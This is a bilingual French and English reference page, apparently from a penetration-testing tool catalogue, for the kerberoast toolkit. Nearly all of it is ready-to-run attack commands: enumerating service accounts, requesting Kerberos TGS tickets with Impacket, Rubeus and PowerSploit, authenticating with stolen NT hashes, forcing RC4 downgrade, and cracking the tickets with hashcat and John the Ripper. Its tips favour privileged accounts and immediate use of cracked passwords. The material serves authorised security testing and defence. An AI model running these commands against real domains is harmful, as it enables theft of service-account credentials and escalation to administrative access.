kerberoast

Boîte à outils d'attaque Kerberoasting. Demande des tickets Kerberos TGS pour les comptes de service et extrait les hashes chiffrés pour un cracking hors ligne afin de récupérer les mots de passe en clair des comptes de service. Kerberoasting attack toolkit. Requests Kerberos TGS tickets for service accounts and extracts encrypted hashes for offline cracking to recover plaintext service account passwords.

↗ https://github.com/nidem/kerberoast

Overview

Kerberoast is the original toolkit implementing the Kerberoasting attack. Any domain-authenticated user can request TGS tickets for any service account (accounts with SPNs), and those tickets are encrypted with the service account’s password hash — crackable offline without touching the DC again.

Basic Usage

List SPNs (service accounts) in the domain

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1

Request TGS tickets for all SPNs

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request

Save hashes for cracking

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request -outputfile hashes.txt

Using Impacket (Preferred)

List all Kerberoastable accounts

impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password

Request TGS and save to file

impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
  -request -outputfile kerberoast_hashes.txt

With hash authentication

impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user \
  -hashes :NT_HASH -request -outputfile hashes.txt

Target specific user

impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
  -request-user svc_mssql

Using PowerShell / Rubeus (On-Target)

# PowerShell — list SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# Invoke-Kerberoast (PowerSploit)
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt

# Rubeus — most feature-rich
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt

# Rubeus with RC4 downgrade (faster cracking)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

Cracking TGS Hashes

Hashcat — mode 13100 for RC4 (etype 23)

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

AES-256 tickets (etype 18) — slower

hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

John the Ripper

john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

With rules for better coverage

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Tips

  • Service accounts often have weak or non-rotating passwords — high success rate
  • Prioritize accounts with privileged group membership (Domain Admins, etc.)
  • RC4 tickets crack faster than AES-256 — request RC4 if possible
  • Use BloodHound to identify which Kerberoastable accounts have admin paths
  • After cracking, immediately test the password — service accounts often have broad access
Help / Man page
GetUserSPNs.py [options] target

target: domain/username[:password]

-dc-ip IP       Domain controller IP
-request        Request TGS tickets for each SPN
-request-user   Request ticket for specific user
-outputfile F   Save hashes to file
-hashes H       Use hash auth (LM:NT)
-no-pass        No password prompt

Vue d’ensemble

Kerberoast est la boîte à outils originale implémentant l’attaque Kerberoasting. Tout utilisateur authentifié sur le domaine peut demander des tickets TGS pour n’importe quel compte de service (comptes avec des SPN), et ces tickets sont chiffrés avec le hash du mot de passe du compte de service : crackables hors ligne sans retoucher le DC.

Utilisation de base

# Lister les SPN (comptes de service) du domaine
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1

# Demander les tickets TGS pour tous les SPN
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request

# Sauvegarder les hashes pour le cracking
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 -request -outputfile hashes.txt

Avec Impacket (recommandé)

# Lister tous les comptes kerberoastables
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password

# Demander les TGS et sauvegarder dans un fichier
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
  -request -outputfile kerberoast_hashes.txt

# Avec authentification par hash
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user \
  -hashes :NT_HASH -request -outputfile hashes.txt

# Cibler un utilisateur spécifique
impacket-GetUserSPNs -dc-ip 10.10.10.1 domain.local/user:password \
  -request-user svc_mssql

Avec PowerShell / Rubeus (sur la cible)

# PowerShell : lister les SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# Invoke-Kerberoast (PowerSploit)
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt

# Rubeus : le plus riche en fonctionnalités
.\Rubeus.exe kerberoast /outfile:hashes.txt
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt

# Rubeus avec downgrade RC4 (cracking plus rapide)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

Cracking des hashes TGS

# Hashcat : mode 13100 pour RC4 (etype 23)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Tickets AES-256 (etype 18) : plus lent
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Avec des règles pour une meilleure couverture
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Conseils

  • Les comptes de service ont souvent des mots de passe faibles ou non renouvelés : taux de réussite élevé
  • Prioriser les comptes appartenant à des groupes privilégiés (Domain Admins, etc.)
  • Les tickets RC4 se crackent plus vite que l’AES-256 : demander du RC4 si possible
  • Utiliser BloodHound pour identifier quels comptes kerberoastables ont des chemins vers l’admin
  • Après le cracking, tester immédiatement le mot de passe : les comptes de service ont souvent des accès étendus
Aide / Page de manuel
GetUserSPNs.py [options] target

target: domain/username[:password]

-dc-ip IP       Domain controller IP
-request        Request TGS tickets for each SPN
-request-user   Request ticket for specific user
-outputfile F   Save hashes to file
-hashes H       Use hash auth (LM:NT)
-no-pass        No password prompt